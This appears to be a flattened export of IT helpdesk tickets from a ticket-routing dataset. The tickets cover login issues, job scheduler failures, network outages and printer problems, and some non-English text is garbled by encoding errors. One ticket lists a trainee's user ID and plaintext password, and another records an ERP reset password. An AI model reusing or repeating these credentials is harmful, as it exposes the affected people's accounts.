, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit bluescreen , Description: hallo ,
gerade eben ist der computer an meinem arbeitsplatz zum wiederholten male ausgestiegen und hat lediglich einen blauen bildschirm mit weiÃŸer schrift dargestellt.
bitte schau dir das vor ort mal an.
, is assigned to Assignment group: GRP\_24.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and unlocked the account.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: no display on desk phone., Description: no display on desk phone., is assigned to Assignment group: GRP\_33.Ticket with Short description: probleme mit lan fÃ¼r rechner erodiermaschine\ dtlmbcrx mwuateyx, Description: probleme mit lan fÃ¼r rechner erodiermaschine\ dtlmbcrx mwuateyx, is assigned to Assignment group: GRP\_24.Ticket with Short description: network outage: south amerirtca -(rrc) network company-sa-south amerirtca-dmvpn-1811-router) is down since 3:53am on 10/24/16, no backup circuit, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_3:53am on 10/24/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: EU\_tool is hanging and slow at the loaction., Description: EU\_tool is hanging and slow at the loaction.
, is assigned to Assignment group: GRP\_25.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/24/2016 04:05:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/24/2016 04:05:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: german workflow objects from all folders are gone :de\_industrial - 01, gen ing, transportation 1/2, ici, Description: german workflow objects from all folders are gone :de\_industrial - 01, gen ing, transportation 1/2, ici. in the morning there were approximately 20 objects.. please check also the uk folder. , is assigned to Assignment group: GRP\_13.Ticket with Short description: problem with outlook, Description: \_x000D\_
\_x000D\_
received from: rjsulvat.uanigkqc@gmail.com\_x000D\_
\_x000D\_
hello.\_x000D\_
\_x000D\_
i cannot start outlook\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: netzlaufwerke auf auf quattro-4206, quattro-4201, quattro-4204 seit sonntag nicht verbunden., Description: netzlaufwerke auf auf quattro-4206, quattro-4201, quattro-4204 seit sonntag nicht verbunden., is assigned to Assignment group: GRP\_42.Ticket with Short description: password reset - vvjotsgssea, Description: password reset - vvjotsgssea, is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze chat, Description: uacyltoe hxgaycze chat, is assigned to Assignment group: GRP\_0.Ticket with Short description: mount request on lib6 prod weekly for job backup\_tool-HostName\_1048-weekly2, Description: mount request on lib6 prod weekly for job backup\_tool-HostName\_1048-weekly2, is assigned to Assignment group: GRP\_8.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: employee owned mobility agreement, Description: employee owned mobility agreement-, is assigned to Assignment group: GRP\_0.Ticket with Short description: chat feature for german language is not working, Description: please check if this is related to the change in name of the telephony\_software queues from fdrf to germany.\_x000D\_
please check the attached error.\_x000D\_
chat url - \_x000D\_
english language chat works normally., is assigned to Assignment group: GRP\_7.Ticket with Short description: job Job\_485 failed in job\_scheduler at: 10/24/2016 02:47:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_485 failed in job\_scheduler at: 10/24/2016 02:47:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1390 failed in job\_scheduler at: 10/24/2016 02:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1390 failed in job\_scheduler at: 10/24/2016 02:43:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1338 failed in job\_scheduler at: 10/24/2016 02:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1338 failed in job\_scheduler at: 10/24/2016 02:21:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: material type "nd" doesn Â´t create any requriment for the zlz agreements orders , Description: \_x000D\_
\_x000D\_
received from: qbewrpfu.lwibmxzo@gmail.com\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_13.Ticket with Short description: job Job\_487 failed in job\_scheduler at: 10/24/2016 02:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_487 failed in job\_scheduler at: 10/24/2016 02:16:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: passwort change failed, Description: \_x000D\_
\_x000D\_
received from: ovnedzxg.pylshdvb@gmail.com\_x000D\_
\_x000D\_
dear sir or madam,\_x000D\_
\_x000D\_
while changing my password through the password\_management\_tool password manager, following issue occured:\_x000D\_
\_x000D\_
[cid:image001.png@01d22dcd.0a760ce0]\_x000D\_
\_x000D\_
for the erp hcm production target it was not able to change the password. details say "please contact your helpdesk".\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_0.Ticket with Short description: etiketten drucker im bereich endkontrolle germany defekt, Description: funktionsstÃ¶rung, is assigned to Assignment group: GRP\_33.Ticket with Short description: on;ly for uacyltoe hxgayczeing - sn , Description: on;ly for uacyltoe hxgayczeing - sn , is assigned to Assignment group: GRP\_36.Ticket with Short description: drucker wk1678, Description:
received from: inqogkxz.rgmslhjn@gmail.com
hallo help,
drucker wk1678 funktioniert nicht mehr richtig.
etiketten verschieben sich.
bitte herrn himghtmelreich informieren.
vielen dank
best , is assigned to Assignment group: GRP\_33.Ticket with Short description: job Job\_1854 failed in job\_scheduler at: 10/24/2016 01:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1854 failed in job\_scheduler at: 10/24/2016 01:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_2589 failed in job\_scheduler at: 10/24/2016 01:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2589 failed in job\_scheduler at: 10/24/2016 01:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: area code routing check for machine line, Description: the following area codes below are being routed from our line to tyuhfljp zyjfpgtk when someone calls the help desk line. they should be routed to lewbzysd gqdaikbv. can you please check the routing?
area codes
41867
70567
51967
group 5 - dnis 5849
, is assigned to Assignment group: GRP\_7.Ticket with Short description: engineering tool login issue., Description: engineering tool login issue.\_x000D\_
help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: - india () since sunday (oct 23rd):telecom\_vendor\_1 sr:25182480 , Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_oct 23rd\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_na\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_na\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_telecom\_vendor\_1:25182480 \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_yes\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: uacyltoe hxgaycze ticket, Description: uacyltoe hxgaycze ticket, is assigned to Assignment group: GRP\_0.Ticket with Short description: login not possible for trail employee thsaqsh 767202934, Description:
received from: jhyazros.azdxonjg@gmail.com
hello
following trail employee working in pthyu5 is unable to login his company hub mail id to view salary slip. request to rectify the same aerp
name: thsaqsh
i number: 767202934
mail id: hjsastadad.kjddwdd2@company.com<mailto:hjsastadad.kjddwdd2@company.com>
user id: wshqqhdqh
password:vasanqi7892016
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlookæ‰“ä¸å¼€, Description: æ‰“å¼€outlookæ—¶ï¼Œæ˜¾ç¤ºoutlook.ostæ–‡ä»¶é”™è¯¯ï¼Œç¨‹åºè‡ªåŠ¨å…³é—­ã€‚, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:india plant primary telecom\_vendor\_1 circuit is down since 12:11 am on 10/24 et,site up on secondary telecom\_vendor\_3, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_yes\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_12:11 am on 10/24 et,\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_na\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_na\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_telecom\_vendor\_1 sr#25182415\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: issue in wi fi & erp login, Description: \_x000D\_
\_x000D\_
received from: ohdrnswl.rezuibdt@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
we are facing issue in wifi connectivity & erp login.\_x000D\_
\_x000D\_
[cid:image001.png@01d22dda.2a4fa9b0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgaycze ignore, Description: uacyltoe hxgaycze, is assigned to Assignment group: GRP\_36.Ticket with Short description: we are unable to update the status in ticketing\_tool tickets., Description:
received from: tehsauadd.asjdidwni@company.com
hello,
please help us on this issue.
issue: we are unable to update the status for tickets in ticketing\_tool tool.
below are the example tickets for your info.
[cid:image001.png@01d22dd8.c4f8ef00]
[cid:image002.png@01d22dd9.123015a0]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgayczeing-please ignore, Description: uacyltoe hxgayczeing-pls ignore, is assigned to Assignment group: GRP\_36.Ticket with Short description: uacyltoe hxgayczeing - please ignore, Description: uacyltoe hxgayczeing - please ignore, is assigned to Assignment group: GRP\_36.Ticket with Short description: excel database problem to run an automation, Description:
received from: dwsyaqpr.bzasnmvw@gmail.com
hello,
i have developed one application which access database internally. i have already checked with few of my collogues and it's working fine.
the app is made for putyrh-5 press tool team. in their machine it's not working.
i have checked their system configuration as well which is same as my system.
system names: awywkwd67x217842, awyl629w8911908, awywkjsw7x217842
configuration: office-2010 (64bit)
this is the error what i get in their system:
[cid:image001.png@01d22941.20a282e0]
, is assigned to Assignment group: GRP\_19.Ticket with Short description: production order number issue , Description:
received from: zuxcfonv.nyhpkrbe@gmail.com
gso,
currently erp system production order number cannot be found after order number was identify enter in shopfloor , everything is fine before erp routine maintenance , please open a ticket for escalate the responsible team , that's very urgent !
[cid:image001.jpg@01d22de9.0bb3fa60] [cid:image004.png@01d22dea.7d33a720]
best , is assigned to Assignment group: GRP\_43.Ticket with Short description: error login on to the SID\_34 system., Description: error login on to the SID\_34 system.\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-user has tried the password\_management\_tool pwd manager.\_x000D\_
-unlocked and reset the erp id to"daypay3".\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: office excel ,powerpoint æ‰“å¼€ä¸€äº›æ–‡ä»¶æ—¶æç¤ºé”™è¯¯ã€‚, Description: office excel ,powerpoint æ‰“å¼€ä¸€äº›æ–‡ä»¶æ—¶æç¤ºé”™è¯¯ï¼Œç”µè„‘å’Œé‚®ä»¶é‡Œé¢ä¸€äº›æ–‡ä»¶æ— æ³•æ‰“å¼€ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/23/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 10/23/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/23/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 10/23/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/23/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 10/23/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: unable to access outlook, Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi it team
kindly please assist as user tahamt unable to access outlook after he change his password.
thry ldikdowdfm
operation supervisor
company distribution services of asia pte ltd
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_0.Ticket with Short description: please delete following these session created by tomyh678oen., Description: please delete following these session created by tomyh678oen., is assigned to Assignment group: GRP\_44.Ticket with Short description: when you look up price and availability local availability is zero and you can not see the global availability, Description: see attachment. , is assigned to Assignment group: GRP\_40.Ticket with Short description: inquiry on impact awards, Description: from: wauhocsk vxuikqaf
sent: sunday, october 23, 2016 9:28 pm
to: nwfodmhc exurcwkm
cc: lxrponic lyszwcxg; ranlpbmw djwkylif
subject: fw: impact awards
dear sirs
please be so kind and help.
i have been asking hr but they told me that you are the right people to talk to
there have been done change on the position of director sales theeadjjd and we
when sales managers from theeadjjd direct side are plugging in impact award points â€“ the approver is still ranlpbmw djwkylif (should be wauhocsk vxuikqaf)
and i guess same issue might be with we (wester europe (there was a change of sales director as well)
we â€“ original sd â€“ crohuani dtjvhyob
we â€“ new sd â€“ ranlpbmw djwkylif
eseer â€“ original sd â€“ ranlpbmw djwkylif
eseer â€“ new sd â€“ wauhocsk vxuikqaf
would you be so kind and help us please ?
in case you need more info â€“ let me know
, is assigned to Assignment group: GRP\_0.Ticket with Short description: please provide access for mails in my mobile phone. , Description: from: fdbgoamk hygxzklauthuchidambaramdnty \_x000D\_
sent: sunday, october 23, 2016 10:50 pm\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: fw: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access.\_x000D\_
\_x000D\_
please provide access for mails in my mobile phone. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkbackup\_tool\_csqe\_dev\_inc failed in job\_scheduler at: 10/23/2016 18:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_csqe\_dev\_inc failed in job\_scheduler at: 10/23/2016 18:10:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job bkbackup\_tool\_HostName\_771\_prod\_inc failed in job\_scheduler at: 10/23/2016 17:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_HostName\_771\_prod\_inc failed in job\_scheduler at: 10/23/2016 17:59:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_450 failed in job\_scheduler at: 10/23/2016 17:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_450 failed in job\_scheduler at: 10/23/2016 17:59:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job bkbackup\_tool\_HostName\_768\_prod\_inc failed in job\_scheduler at: 10/23/2016 17:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_HostName\_768\_prod\_inc failed in job\_scheduler at: 10/23/2016 17:59:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job bkbackup\_tool\_HostName\_920\_prod\_inc failed in job\_scheduler at: 10/23/2016 17:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_HostName\_920\_prod\_inc failed in job\_scheduler at: 10/23/2016 17:59:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_2114 failed in job\_scheduler at: 10/23/2016 17:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2114 failed in job\_scheduler at: 10/23/2016 17:32:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: interface: gigabitethernet0/2 Â· usa-2950-access-sw02 on usa-2950-core-sw02 is down since 10/23/2016 3:52 pm, Description: interface: gigabitethernet0/2 Â· usa-2950-access-sw02 on usa-2950-core-sw02 is down since 10/23/2016 3:52 pm, is assigned to Assignment group: GRP\_4.Ticket with Short description: outlook 365 , Description:
received from: oetlgbfw.bsctrnwp@gmail.com
my outlook 365 is not working
please see if you can fix
thsadyu dwwlhews
sales manager gl2
oetlgbfw.bsctrnwp@gmail.com<mailto:oetlgbfw.bsctrnwp@gmail.com>, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_504 failed in job\_scheduler at: 10/23/2016 13:51:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_504 failed in job\_scheduler at: 10/23/2016 13:51:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1422 failed in job\_scheduler at: 10/23/2016 13:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1422 failed in job\_scheduler at: 10/23/2016 13:20:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: HostName\_587: germany server is down since 11:01 am et on 10/23., Description: HostName\_587: germany server is down since 11:01 am et on 10/23., is assigned to Assignment group: GRP\_12.Ticket with Short description: call came and there was only music and nothing else, Description: call came and there was only music and nothing else, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // loud noise, Description: blank call // loud noise, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password reset, Description:
received from: skmdgnuh.utgclesd@gmail.com
hi,
require to reset erp password.
login id:anantadth67
with warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: call came and got disconnected, Description: call came and got disconnected, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bwhrerattr failed in job\_scheduler at: 10/23/2016 06:06:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrerattr failed in job\_scheduler at: 10/23/2016 06:06:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_727 failed in job\_scheduler at: 10/23/2016 02:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_727 failed in job\_scheduler at: 10/23/2016 02:50:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_1013 does not come up after weekly reboot, Description: HostName\_1013 does not come up after weekly reboot.
note that recently there was a hdd and power supply replaced on this server.
c:\users\karashsnnsb>ping HostName\_1013
pinging HostName\_1013.company.company.com [29.21.92.849] with 32 bytes of data:
request timed out.
request timed out.
request timed out.
request timed out.
ping statistics for 29.21.92.849:
packets: sent = 4, received = 0, lost = 4 (100% loss),
c:\users\karashsnnsb>
, is assigned to Assignment group: GRP\_12.Ticket with Short description: job bk\_hana\_SID\_22\_os\_wly\_dp failed in job\_scheduler at: 10/23/2016 01:59:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_22\_os\_wly\_dp failed in job\_scheduler at: 10/23/2016 01:59:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3097 failed in job\_scheduler at: 10/23/2016 01:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3097 failed in job\_scheduler at: 10/23/2016 01:50:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_3096 failed in job\_scheduler at: 10/23/2016 00:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3096 failed in job\_scheduler at: 10/23/2016 00:15:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_3074 failed in job\_scheduler at: 10/23/2016 00:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3074 failed in job\_scheduler at: 10/23/2016 00:15:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_3076 failed in job\_scheduler at: 10/23/2016 00:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3076 failed in job\_scheduler at: 10/23/2016 00:15:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job SID\_37cold failed in job\_scheduler at: 10/23/2016 00:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37cold failed in job\_scheduler at: 10/23/2016 00:12:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job bkbackup\_tool\_sql\_prod\_full failed in job\_scheduler at: 10/23/2016 00:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_sql\_prod\_full failed in job\_scheduler at: 10/23/2016 00:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 account locked, Description: erp SID\_34 account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bk\_hana\_SID\_62\_erp\_wly\_dp failed in job\_scheduler at: 10/22/2016 23:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_62\_erp\_wly\_dp failed in job\_scheduler at: 10/22/2016 23:03:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: switch down - apac-company-rpmwh-2960s-access-sw01 located at apac is down since 10/22/2016 7:47 pm, Description: switch down - apac-company-rpmwh-2960s-access-sw01 located at apac is down since 10/22/2016 7:47 pm, is assigned to Assignment group: GRP\_8.Ticket with Short description: inquiry on expense report-erp, Description: inquiry on expense report-erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkbackup\_tool\_powder\_prod\_full failed in job\_scheduler at: 10/22/2016 18:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_powder\_prod\_full failed in job\_scheduler at: 10/22/2016 18:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkbackup\_tool\_powder\_prod\_full failed in job\_scheduler at: 10/22/2016 18:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_powder\_prod\_full failed in job\_scheduler at: 10/22/2016 18:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_480 failed in job\_scheduler at: 10/22/2016 17:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_480 failed in job\_scheduler at: 10/22/2016 17:03:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job bkbackup\_tool\_sql\_prod\_full failed in job\_scheduler at: 10/22/2016 17:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_sql\_prod\_full failed in job\_scheduler at: 10/22/2016 17:04:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_466 failed in job\_scheduler at: 10/22/2016 17:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_466 failed in job\_scheduler at: 10/22/2016 17:03:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_482 failed in job\_scheduler at: 10/22/2016 17:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_482 failed in job\_scheduler at: 10/22/2016 17:03:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job bkbackup\_tool\_o365\_primary\_prod\_full failed in job\_scheduler at: 10/22/2016 17:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_o365\_primary\_prod\_full failed in job\_scheduler at: 10/22/2016 17:03:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job Job\_581 failed in job\_scheduler at: 10/22/2016 16:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_581 failed in job\_scheduler at: 10/22/2016 16:33:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: HostName\_804: c:\ disk volume is over 85% space consumed., Description: HostName\_804: c:\ disk volume is over 85% space consumed.. space available: 4.4 g, is assigned to Assignment group: GRP\_12.Ticket with Short description: job bwdpmbkp failed in job\_scheduler at: 10/22/2016 12:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwdpmbkp failed in job\_scheduler at: 10/22/2016 12:58:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: HostName\_1345 server is offline, Description: \_x000D\_
\_x000D\_
received from: hpqjaory.gfrwmije@gmail.com\_x000D\_
\_x000D\_
we are experiencing an interruption in our systems involved with server HostName\_1345.\_x000D\_
most of the network printers are not operational due to this problem.\_x000D\_
\_x000D\_
please advise.\_x000D\_
\_x000D\_
\_x000D\_
